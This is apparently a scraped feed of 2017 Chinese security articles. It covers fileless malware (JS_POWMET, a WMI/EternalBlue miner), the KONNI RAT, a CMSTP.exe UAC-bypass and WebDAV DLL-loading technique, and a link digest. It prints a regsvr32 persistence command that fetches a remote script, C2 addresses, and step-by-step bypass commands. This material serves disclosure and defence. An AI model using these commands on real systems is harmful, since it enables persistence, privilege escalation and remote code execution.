【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

这些变量值是没有变的,所以可以确定造成死循环的原因就是i值没有变过 从而无限陷入for循环造成拒绝服务攻击。



【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4301.html

【知识】8月23日 - 每日安全知识热点

$
0
0
【知识】8月23日 - 每日安全知识热点

2017-08-23 10:55:53

阅读:781次
点赞(0)
收藏
来源: 安全客





【知识】8月23日 - 每日安全知识热点

作者:童话





【知识】8月23日 - 每日安全知识热点

热点概要:Discuz X3.3补丁安全分析、如何在tor网络中避开特定地理区域、以DVRF(路由器漏洞靶机)为例解读JEB固件漏洞利用、如何劫持无线鼠标和键盘、解读智能机器人的安全问题、EggShell:基于python的iOS、macOS后渗透工具、ScrumWorks Pro远程代码执行漏洞


资讯类:

源自中国公司的个信广告SDK染指安卓监控软件?谷歌下架更新500款App

https://blog.lookout.com/igexin-malicious-sdk


技术类:

【漏洞分析】Discuz X3.3补丁安全分析

http://bobao.360.cn/learning/detail/4302.html


Bitdefender:通过7z LZMA堆缓冲区溢出

https://landave.io/2017/08/bitdefender-heap-buffer-overflow-via-7z-lzma/


如何在tor网络中避开特定地理区域

https://detor.cs.umd.edu/


NIZKCTF:一个非交互式零基础的CTF平台

https://arxiv.org/pdf/1708.05844.pdf


以DVRF(路由器漏洞靶机)为例解读JEB固件漏洞利用

Part 1:https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-1/

Part 2:https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/


利用工业协同机器人(解读智能机器人的安全问题)

http://blog.ioactive.com/2017/08/Exploiting-Industrial-Collaborative-Robots.html


如何劫持无线鼠标和键盘

https://toshellandback.com/2017/08/16/mousejack/


shadow v2公开发布

https://census-labs.com/news/2017/08/22/shadow-v2-release/

https://github.com/CENSUS/shadow


EggShell:基于Python的iOS、macOS后渗透工具

https://github.com/neoneggplant/EggShell/


Java 8 Jar&Android APK逆向工程工具(Decompiler,Editor,Debugger&More)

https://github.com/Konloch/bytecode-viewer/


通过powershell实现命令与控制绕过安全检查

https://pentestlab.blog/2017/08/19/command-and-control-powershell/


Android启动过程分析

https://thecyberfibre.com/android-boot-process/


Invoke-Phant0m:windows Event Log Killer

https://github.com/hlldz/Invoke-Phant0m


图文解读:反弹shell的几种方式(科普)

http://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/


bettercap v1.6.2发布,增加MAC、HSRP欺骗等新功能

https://github.com/evilsocket/bettercap/releases/tag/v1.6.2


通过SAML SSO进行带外XXE

https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf


ScrumWorks Pro远程代码执行漏洞

https://blogs.securiteam.com/index.php/archives/3387


Hack with Metasploit: Announcing the UNITED 2017 CTF

https://community.rapid7.com/community/metasploit/blog/2017/08/10/hack-with-metasploit-announcing-the-united-2017-ctf


Understanding Orphaned Files

https://thinkdfir.com/2017/08/18/understanding-orphaned-files/




【知识】8月23日 - 每日安全知识热点
【知识】8月23日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4304.html

【木马分析】来去无踪:针对JS_POWMET无文件恶意软件的分析

$
0
0
【木马分析】来去无踪:针对JS_POWMET无文件恶意软件的分析

2017-08-23 14:12:21

阅读:237次
点赞(0)
收藏
来源: trendmicro.com





【木马分析】来去无踪:针对JS_POWMET无文件恶意软件的分析

作者:blueSky





【木马分析】来去无踪:针对JS_POWMET无文件恶意软件的分析

译者:blueSky

预估稿费:180RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


日前,由于高明的网络犯罪分子开始专注于在不留下任何痕迹的情况下对目标实施网络攻击,因此不留痕迹的恶意软件(如最近的SOREBRECT勒索恶意软件)将成为更常见的攻击手段,而且这种苗头已经开始显现了。然而,这些所谓的无文件恶意攻击只是在进入用户系统时才是无文件的,而在最终执行其有效载荷时还是会暴露自己,所以要想使用完全的无文件恶意软件攻击是很难办到的。不过,随着网络攻击者技术的不断提高,趋势科技的研究人员最近还是发现了一个完全无文件的新特洛伊木马软件-JS_POWMET.DE。该木马软件通过自动启动注册表程序开始实施网络攻击,之后通过使用完全无文件的感染链完成整个攻击过程,整个攻击过程及其隐蔽操作很难使用沙箱进行分析,使得专门进行安全分析的软件工程师都难以察觉到该恶意软件的攻击。

根据趋势科技智能防护网络 ( Smart Protection Network,SPN ) 的监测数据显示,亚太地区是目前被 JS_POWMET.DE这款恶意软件感染最多的地方,该地区感染量占趋势科技智能防护网络检测到的总量的90%左右。


技术细节


【木马分析】来去无踪:针对JS_POWMET无文件恶意软件的分析

根据我们安全研究人员的分析和推测,虽然确切的攻击方式目前仍然不能够确定,但是JS_POWMET 木马软件很可能是在用户访问了恶意网站时下载的,或者是捆绑在用户之前下载的恶意软件中。不过有一个事实是已经被我们的安全研究人员证实的,那就是一旦恶意软件被下载到用户的机器上,该用户机器上的下面的注册表项就已经被更改了。

HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Run COM+=“regsvr32/s/n/u/i:{MaliciousURL,downloadsJS_POWMET}scrobj.dll”

之后网络攻击者通过自动启动注册表项(代码如上所示)来下载JS_POWMET恶意软件。

以下是 使用"regsvr32" 命令涉及到的参数说明:

1. / s = regsvr32命令的默认选项

2. / n = 告诉regsvr32 命令不要调用DllRegisterServer

3. / u = 告诉regsvr32 命令不注册server/object

4. / i = 用于将可选参数(即URL)传递给DLLinstall

5. scrobj.dll = 要注册的 dll 文件名

网络攻击者通过这种方法,将一个恶意的URL地址作为参数传递给regsvr32命令,,regsvr32通过使用这个恶意的URL地址获取到与URL关联的恶意文件(一个带有恶意javascript的XML文件)。使用上述命令,regsvr32将能够执行任意的脚本,而不会在机器或者系统上保存任何的XML文件。当被攻击的机器或者系统重新启动时,它也会自动从其C&C服务器上下载恶意文件到目标机器上运行。

一旦JS_POWMET被执行,它将会去下载另一个称为TROJ_PSINJECT的恶意文件(由趋势科技检测并命名为TROJ_PSINJECT.A)。该文件是一个Powershell脚本,通过Powershell运行时TROJ_PSINJECT将会去链接下面这个网站:

hxxps://bogerando[.]ru/favicon

通过访问上面那个恶意的URL,TROJ_PSINJECT将下载一个名为favicon的恶意文件,然后,TROJ_PSINJECT恶意程序调用ReflectivePELoader(用于注入EXE / DLL文件的程序)将该favicon文件解密并将解密后的内容注入到TROJ_PSINJECT恶意程序的进程中。

要解密恶意软件代码,可以通过使用以下技术实现:首先,恶意软件使用 RC4 密钥(预先硬编码到恶意软件代码中的)对代码中的 Base64 编码的字符串进行解码和解密;其次,解密后的字符串又是使用GZIP 压缩的字符串,该字符串由恶意软件本身调用 GZIP 解压缩函数进行解压缩;最后,ReflectivePELoader 函数将使用解压缩后得到的字符串来解密下载的Favicon 恶意文件。

Favicon 文件也将使用上述硬编码的RC4 密钥进行解密,解密之后生成一个名为 BKDR_ANDROM(趋势科技检测并将其为 BKDR_ANDROM.ETIN)的恶意 DLL 文件,这个过程也是无文件的,该文件将不会保存到受害者的机器或者系统中,而是ReflectivePELoader直接将解密后结果注入到 powershell.exe 进程中,上面讲述的所有过程都是恶意软件通过 PowerShell 命令来执行的:


【木马分析】来去无踪:针对JS_POWMET无文件恶意软件的分析

如果在系统中直接运行该文件,BKDR_ANDROM恶意程序将会终止powershell.exe进程。另外还会收集以下数据:

1. 用户机器上的磁盘序列号

2. 操作系统版本

3. 本地IP地址

4. 管理员权限

恶意软件会将注册表项添加到系统中,以确保它始终在机器启动时被执行。加入到系统的这些自动启动的注册表项能够解码使用Base64编码的PowerShell命令,这些命令将用于解密那些被加密的二进制文件(在恶意软件添加的注册表项中也能找到),最终生成BKDR_ANDROM这个恶意代码。在解密过程之后,它将执行解密后的恶意代码,虽然上述情况下的最终有效载荷由BKDR_ANDROM这个恶意程序组成,但是未来的恶意软件作者可能会将其他恶意软件用作JS_POWMET恶意软件的有效载荷。


结论

虽然JS_POWMET恶意软件及其下载的其他文件在影响方面相对不是很严重,但是这种恶意软件的出现已经表明,网络犯罪分子将会使用一切手段来躲避安全软件的检测和分析,这在一定程度上说明那些不常见的无文件恶意软件的感染方法也在不断发展,即使安全研究人员能够从内存中获取代码,调查工作仍然很难开展,因为当处理内存中的代码时,最常见的调查工具几乎都是是无用的。安全研究人员和用户不仅仅要关注那些看得到的恶意软件文件,还要关注那些“隐身”恶意软件,这些恶意软件往往是最容易被忽视的。

减轻无文件恶意软件影响的更有效的方法之一是通过基于容器的系统来限制对关键基础设施的访问,这些系统将用户终端与基础网络中最关键的部分分隔开,对于这种特定的恶意软件,IT专业人员还可以通过禁用Powershell进程来帮助减轻JS_POWMET及其各种有效负载的影响。


恶意软件样本哈希值

7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc(TROJ_PSINJECT.A)

e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae(JS_POWMET.DE)

bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940(BKDR_ANDROM.ETIN)



【木马分析】来去无踪:针对JS_POWMET无文件恶意软件的分析
【木马分析】来去无踪:针对JS_POWMET无文件恶意软件的分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

$
0
0
【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

2017-08-23 15:46:55

阅读:472次
点赞(0)
收藏
来源: msitpros.com





【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

作者:myswsun





【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

译者:myswsun

预估稿费:120RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

我乐于花时间深入研究windows内部的二进制文件以发现隐藏的功能。本文就是我发现的关于CMSTP.exe文件的一些东西。

我发现了使用sendkeys来绕过UAC的方式及从Webdav服务器加载DLL的方式。我知道我发现的绕过方式有点无聊,但是如果这能鼓励其他人一起加入研究,我将非常高兴。在这个二进制文件中可能有更多的东西等待被发现,所以我们继续往下看。

我已经把这个问题报告给了MSRC,他们已经解决了这个问题。

UAC绕过漏洞通常问题不大,可以通过合理配置阻止终端用户访问本地管理员功能。(UAC不是安全边界)

如果你想要了解更多UAC相关的内容,我推荐阅读James Foreshaw的精彩文章:

https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-1.html
https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-2.html
https://tyranidslair.blogspot.no/2017/05/reading-your-way-around-uac-part-3.html

0x01绕过UAC

下载下面的inf文件和脚本文件,把他们保存到系统中:

https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypasscmstp-ps1
https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf

调整脚本并运行,结果如下:

https://msitpros.com/wp-content/uploads/2017/08/UAC-Bypass-Sendkeys-CMSTP.gif


【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

0x02从Webdav加载DLL

下载下面的文件(文件名很重要):

https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-cmp
https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-cms
https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-corpvpn-inf

调整inf文件中的“RegisterOCXSection”,将它指向托管于你的Webdav服务器上的DLL。

然后运行下面的命令(文件名很重要):

Cmstp.exe/ni/sc:\cmstp\CorpVPN.inf

https://msitpros.com/wp-content/uploads/2017/08/WebDavDLLLoadBlog.gif


【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

0x03绕过UAC的步骤

本节,我将描述所有的步骤。下面会有很多截图,但是我认为是有必要的。

如果你不加参数启动了cmstp.exe,结果如下:


【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

如何创建这些配置文件和它们如何安装才是有趣的地方。

我阅读了一些关于CMAK(Connection Manager Administration Kit)的资料——其是Windows的一个功能,因此我继续通过如下方式启动了它:


【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

当这个功能安装完成后,你能在开始菜单中启动CMAK。它的图标如下:


【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

在启动CMAK后,会出现下面的向导。下面的截图是我选择的选项:


【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

文件位于向导中显示的路径下。我的这个例子中是:C:\Program Files\CMAK\Profiles\Windows Vista and above\CorpVPN\


【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

这个.exe和.sed文件是IEXPRESS(Windows中用于创建“installer“的二进制文件)文件。可以忽略它们。更多关于IEXPRESS的细节如下:https://en.wikipedia.org/wiki/IExpress

现在可以愉快的玩耍了。

在C盘下创建一个文件夹(名为CMSTP)。复制CorpVPN.inf文件到这个目录中:


【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

现在使用记事本打开inf文件,找到RunPreSetupCommandsSection,然后添加下面两行代码(第一行是你想运行的命令):

c:\windows\system32\cmd.exe taskkill/IMcmstp.exe/F
【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

你需要注释下面两行:

CopyFiles=Xnstall.CopyFiles,Xnstall.CopyFiles.ICM AddReg=Xnstall.AddReg.AllUsers
【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

现在,如果你运行下面的命令行,点击提示框:

C:\Windows\System32\cmstp.exec:\cmstp\corpvpn.inf/au
【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

奇怪的是这个可执行文件不该自动提权。如果我们运行sigcheck检测这个文件,从转储的manifest中我们可以确认这个:


【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

同时,如果我们检查这个进程的特权级,我们确定它默认不该提权,但是现在运行于medium特权级:


【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

现在有趣的是我们可以使用脚本中的sendkeys来自动提权。所有需要的东西我们都有了。

微软在过去已经采取了安全措施(UIPI)来阻止sendkeys攻击,因此我很惊讶这个还能起作用。我认为这有点酷啊。。。

我创建了一个简单的脚本:

https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypasscmstp-ps1

我还编写了个预置的UACBypass.inf文件,因此你不需要按照上述步骤来安装CMAK:

https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf

我没有时间来逆向CMSTP以查看它是如何提权的,但是其他人可以进一步研究。如果我有时间我也会研究下。


0x04从Webdav服务器实现加载DLL的步骤

我还发现了你能从Webdav中加载DLL文件,并执行它们。这在一些场景中能用于绕过AppLocker。你能按照绕过UAC中的CMAK向导教程来完成这个。

你需要在INF文件中添加下面的内容(你能看到从磁盘加载的dll):

[RegisterOCXSection] \\10.10.10.10\webdav\AllTheThings.dll
【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

在你运行这个命令之前,你还需要CorpVPN.cmp和CorpVPN.cms,将它们放置于和INF文件同目录:


【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL

当然你的DLL文件需要位于Webdav服务器上。

现在,你应该能运行下面的命令来加载DLL了:

cmstp.exe/ni/sc:\cmstp\CorpVPN.inf

注意,这将安装一个VPN配置,我还没发现其他更好的方式来加载dll。

AllTheThings.dll来自Casey Smith(@Subtee)的分享:

https://github.com/subTee/AllTheThings

作为防御者,我开始研究CMSTP.exe,如果你开启了Device Guard/Applocker,我建议禁用CMSTP。(除非你需要依赖它来安装VPN连接)。



【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL
【技术分享】利用CMSTP.exe实现UAC Bypass和加载DLL
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://msitpros.com/?p=3960

【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

$
0
0
【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

2017-08-23 14:52:21

阅读:1699次
点赞(0)
收藏
来源: trendmicro.com





【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

作者:興趣使然的小胃





【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

无文件恶意软件是一种比较隐蔽的安全威胁,难以被分析及检测到。时至今日,使用无文件技术的新型恶意软件威胁的数量不断增多,恶意软件作者将这种技术作为对抗检测技术以及取证调查技术的法宝。最近,我们发现了一种新型的加密货币挖矿程序(我们将其标记为TROJ64_COINMINER.QO),这种程序同样使用了无文件技术。

我们最早于7月份在亚太地区看到这种变种。根据主动式云端截毒技术(Smart Protection Network,SPN,趋势采用的一种技术)的反馈信息,受该安全威胁影响的国家及地区分布情况如下图所示:


【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

这款恶意软件使用WMI(windows Management Instrumentation)来达到无文件持久化目的。具体说来,它使用了WMI标准事件消费者(WMI Standard Event Consumer)脚本化应用(scrcons.exe)来执行恶意脚本。恶意软件使用永恒之蓝漏洞(EternalBlue,即MS17-010)来突破目标系统。正是因为无文件WMI脚本以及永恒之蓝的组合,使得这款恶意软件在隐蔽性及持久化方面做的非常极致。


二、感染过程

这款密币挖矿恶意软件的感染过程可以分为几个阶段。整个感染过程从MS17-010开始,恶意软件利用这个漏洞在目标系统上释放并运行后门程序(BKDR_FORSHARE.A),这个后门程序可以用来安装各种各样的WMI脚本。随后,这些脚本会与C&C服务器通信,来获取指令、下载密币挖矿恶意程序以及相关组件。


【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

三、技术细节

WMI是Windows的一个核心组件,通常用于日常管理任务,比如部署自动化脚本、在指定时间点运行进程或程序、获取已安装的应用或硬件信息、监控目录修改动作、监控硬盘空间等。然而,在网络犯罪分子手中,WMI可以用于恶意用途,正如我们在“理解WMI恶意软件” 一文中分析的那样。本文所讨论的技术与那篇文章的样本所使用的技术非常相似,在那篇文章中,我们将相关样本标记为TROJ_WMIGHOST.A。

当特定条件满足时,如下所示的root/subscription类就会触发恶意WMI脚本的运行:

ActiveScriptEventConsumer

__EventFilter

__IntervalTimerInstruction

__AbsoluteTimerInstruction

__FilterToConsumerBinding

我们可以在ROOT\subscription命名空间中的ActiveScriptEventConsumer类的某个实例中找到恶意WMI脚本。ActiveScriptEventConsumer是一个持久化载荷,包含满足特定条件时需要执行的指令。比如,该载荷中会包含条件满足时所需要待执行的恶意JScript脚本,如下图所示。


【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

我们可以从ActiveScriptEventConsumer类中提取出这个JScript脚本,其内容如下所示:


【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

分析这一段脚本后,我们发现恶意软件作者使用了多个层次的C&C服务器,以便快速更新合适的服务器以及对应的组件。通过这种方式,攻击者就可以修改所下载的恶意文件,规避检测过程。

第一阶段的C&C服务器地址为“hxxp://wmi[.]mykings[.]top:8888/test[.]html”,可以下发指令,给出密币挖矿程序及组件的下载地址。这个服务器还包含第二阶段以及第三阶段的C&C服务器地址。根据我们对这个URL的监控情况,我们发现与该地址有关的操作仍在活跃中。前面我们在感染流程图中提到过,真正的挖矿载荷由TROJ_COINMINER.AUSWQ负责下载。这个载荷最初的地址为“hxxp://67[.]21[.]90[.]226:8888/32.zip”,该地址可从某个URL中获得,如下所示:
【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

最近,这个URL更新过,修改了目标URL地址,但目标文件仍然保持一致。


【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

这表明服务器的操作过程仍处于活跃状态,攻击者仍然尽职尽力地在监控及更新相关的C&C服务器。

__EventFilter类保存了用来触发相关事件所需的特定条件。查看 _EventFilter 代码,我们发现其中包含

Select*from__timereventwheretimerid=“fuckyoumm2_itimer”

这样一条WQL查询语句。这条查询语句会查找ID名为“fuckyoumm2itimer”的计时器。


【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

_IntervalTimerInstruction类包含两个公开属性:TimerID以及IntervalBetweenEvents。TimerID包含一个唯一的名称,用来表示“fuckyoumm2itimer”实例,这个实例正是 __EventFilter条件指向的那个实例。IntervalBetweenEvents提供了触发恶意WMI脚本的具体时间。IntervalBetweenEvents属性的值以毫秒为单位。对于本文分析的这个样例而言,间隔时间为10800000毫秒,即180分钟(3小时)。这意味着恶意WMI脚本每隔3小时会执行一次。


【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

我们还可以在__AbsoluteTimerInstruction中找到其他一些信息。这个类可以在特定的日期、特定的时间生成某个事件。


【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

最后,为了使所有的类以及实例各自能够建立联系,攻击者需要注册__FilterToConsumerBinding。我们可以在 __FilterToConsumerBinding类中找到如下信息:

ActiveScriptEventConsumer.Name=fuckyoumm2_consumer __EventFilter.Name=”fuckyoumm2_filter”


【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序

__FilterToConsumerBinding类将 __EventFilter实例与 __ActiveScriptEventConsumer实例联系在一起。通过将各个类彼此关联起来,攻击者构造了完整的程序执行循环图。 __FilterToConsumerBinding类会检查哪些Windows事件将通过 __EventFilter来执行,也会检查 __ActiveScriptEventConsumer中相应的脚本。


四、经验总结

这次攻击中,IT管理员可以从两方面进行总结,进而提升安全防护能力。

首先,管理员需要根据情况来限制(并且禁用)WMI功能。这一过程需要目标系统上的管理员权限。安全人员只应该将WMI访问权分配给真正需要这一权限的特定的管理员账户组,这样就能降低WMI攻击的风险。

不是所有的主机都需要WMI服务。如果某台主机不需要访问WMI,我们就可以禁用这个功能来消除安全风险。微软提供了一份快速指南,介绍了如何完全禁用WMI服务。此外,微软还提供了一个工具,可以用来跟踪WMI活动轨迹。我们还可以禁用SMBv1来减少用户可能遭受的安全风险。

这个攻击的突破口是永恒之蓝漏洞,这个漏洞的补丁已经于2017年3月发布。然而,还有许多主机暴露在这个漏洞的攻击范围中。请确保操作系统、软件以及其他应用已处于最新版本,从而阻止攻击者将安全漏洞作为目标系统及网络的突破口。


五、总结

无文件攻击已经变得越来越常见。越来越多的攻击者选择使用直接从内存中进行攻击的方法,也会使用合法的工具或服务。在本文分析的案例中,这个密币挖矿恶意软件将WMI订阅功能作为无文件持久化技术加以使用。由于攻击过程中不涉及恶意文件落盘行为,因此更加难以检测。

在现代威胁场景中,单单搜索硬盘中的恶意文件已经远远不能满足需求。在内存中搜索相关证据也是非常困难的一件事,特别是当攻击行为只有满足特定条件才能触发时,证据搜索会变得更加困难。通常情况下,我们可以导出系统的内存数据,却无法触发恶意行为。然而,有大量Windows工具库可以提供这类攻击的线索,这些工具包括shimcache、muicache或者prefetch等。通过配置Windows事件日志,记录系统行为,我们也能得到其他一些有用信息。


六、趋势的解决方案

趋势提供了邮件以及Web网关解决方案,如Trend Micro Deep Discovery Email Inspector以及InterScan Web Security,可以阻止恶意软件影响终端用户。在终端层面上,Trend Micro Smart Protection Suites提供了多种功能,如高保真机器学习、Web信誉服务、行为监控、应用控制以及漏洞屏蔽等功能,可以将此类威胁的影响降到最小值。此外,Trend Micro Endpoint Sensor在监控与WMI有关的事件上也非常有效,这款产品能快速检查哪些进程或事件正在触发恶意行为。

Trend Micro Deep Discovery Inspector可以检测与恶意C&C服务器有关的网络连接,快速识别网络中受影响的主机,同时Trend Micro Deep Security可以通过IPS技术阻止MS17-010漏洞的利用。

对于小型商业公司而言,Trend Micro Worry-Free Services Advanced通过托管邮件安全特性,提供了基于云端的邮件安全网关服务。它的端点保护功能也可以提供多种安全特性,比如行为监控以及实时Web信誉信息,以检测并阻止勒索软件。


七、攻击特征

与这个攻击有关的哈希值如下所示:

6315657FD523118F51E294E35158F6BD89D032B26FE7749A4DE985EDC81E5F86 (detected as TROJ_CONMINER.CFG)

674F2DF2CDADAB5BE61271550605163A731A2DF8F4C79732481CAD532F00525D (detected as TROJ_COINMINER.AUSWQ)

8c5bb89596cd732af59693b8da021a872fee9b3696927b61d4387b427834c461 (detected as TROJ_CONMINER.CFG)

A095F60FF79470C99752B73F8286B78926BC46EB2168B3ECD4783505A204A3B0 (detected as BKDR_FORSHARE.A)

E6fc79a24d40aea81afdc7886a05f008385661a518422b22873d34496c3fb36b (detected as BKDR_FORSHARE.B)

F37A0D5F11078EF296A7C032B787F8FA485D73B0115CBD24D62CDF2C1A810625 (detected as TROJ64_COINMINER.QO)

与攻击有关的URL地址如下所示:

ftp[.]oo000oo[.]me wmi[.]mykings[.]top:888


【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序
【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.trendmicro.com/trendlabs-security-intelligence/cryptocurrency-miner-uses-wmi-eternalblue-spread-filelessly/

【技术分享】针对新型KONNI变种的分析

$
0
0
【技术分享】针对新型KONNI变种的分析

2017-08-24 11:15:11

阅读:865次
点赞(0)
收藏
来源: fortinet.com





【技术分享】针对新型KONNI变种的分析

作者:興趣使然的小胃





【技术分享】针对新型KONNI变种的分析

译者:興趣使然的小胃

预估稿费:120RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

KONNI是一种远程访问木马(remote access Trojan,RAT),最早于2017年5月被发现,但我们认为该木马的使用时间最早可以追溯到3年以前。在日常威胁态势监控中,FortiGuard实验室发现一款KONNI木马的新型变种,决定对其进行深入分析。


二、木马分析

研究人员已经发现,KONNI的传播与之前针对朝鲜的攻击行为密切相关。新的变种与之前的变种差别不大,因为它仍然采用DOC文档作为传播载体,DOC文档内容取自CNN的报道文章,题目是“12 things Trump should know about North Korea(关于朝鲜特朗普需要知道的12件事情)”。这篇文章发表于2017年8月9日,这表明该变种很有可能是最新的一批变种。虽然KONNI所属的组织使用了与朝鲜主题有关的钓鱼文件,但我们很难判断攻击目标是否与朝鲜事务有所关联。


【技术分享】针对新型KONNI变种的分析

恶意DOC文件包含一段VB宏代码,该代码可以释放并执行KONNI安装程序,安装程序的存储路径为%temp%文件夹中的stify.exe:


【技术分享】针对新型KONNI变种的分析

释放出来的文件经过Aspack 2.12加壳器加壳,如下图所示:


【技术分享】针对新型KONNI变种的分析

该文件的IMAGEFILEHEADER字段可以告诉我们文件的编译时间戳,根据这一信息,该变种于2017年8月8日编译完成(如果文件没被修改过,信息准确无误的话)。


【技术分享】针对新型KONNI变种的分析

安装器在资源区中包含2个KONNI DLL文件。一个为32位版本,另一个专为64位windows系统设计。根据时间戳信息,我们发现这两个DLL均于2017年7月11日编译完成。


【技术分享】针对新型KONNI变种的分析

KONNI DLL被释放后,在本地磁盘中的存储路径为%LocalAppData%\MFAData\event文件夹下的errorevent.dll。安装器会在注册表中创建自启动表项,当系统重启后,可以利用rundll32.exe重新运行DLL。


【技术分享】针对新型KONNI变种的分析

经过差异比较后,我们发现木马文件的功能与2017年8月8日分析的那个文件没有差别。木马具备相同的功能,可以根据指令执行对应的动作,如下所示:

‘0’ : 将某个文件发往C&C服务器。

‘1’ : 获取系统信息,例如计算机IP地址、计算机名称、用户名、驱动器信息、产品名称、系统类型(32位或64位)、开始菜单程序以及已安装的软件,这些信息会被发往C&C服务器。

‘2’ : 截屏并发往C&C服务器。

‘3’ : 查找特定目录以及子目录中的文件。

‘4’ : 查找特定目录中的文件。

‘5’ : 删除某个文件。

‘6’ : 运行某个文件。

‘7’ : 下载文件


【技术分享】针对新型KONNI变种的分析

木马还具有键盘记录以及剪贴板信息抓取功能。日志文件的存放路径为%LocalAppdata%\Packages\microsoft\debug.tmp.

然而,与之前分析的样本相比,这个变种在与命令控制服务器通信时没有使用2字节加密密钥的异或(XOR)加密算法对通信数据进行加密处理。虽然我们在分析样本时,服务器没有响应任何指令,但我们可以肯定的是,从C&C服务器返回的初始响应包没有经过加密或者编码处理。响应包只是简单地使用“xzxzxz”字符串作为分隔符。


【技术分享】针对新型KONNI变种的分析

该变种使用如下形式的HTTP查询字符串将数据发往C&C服务器:


【技术分享】针对新型KONNI变种的分析

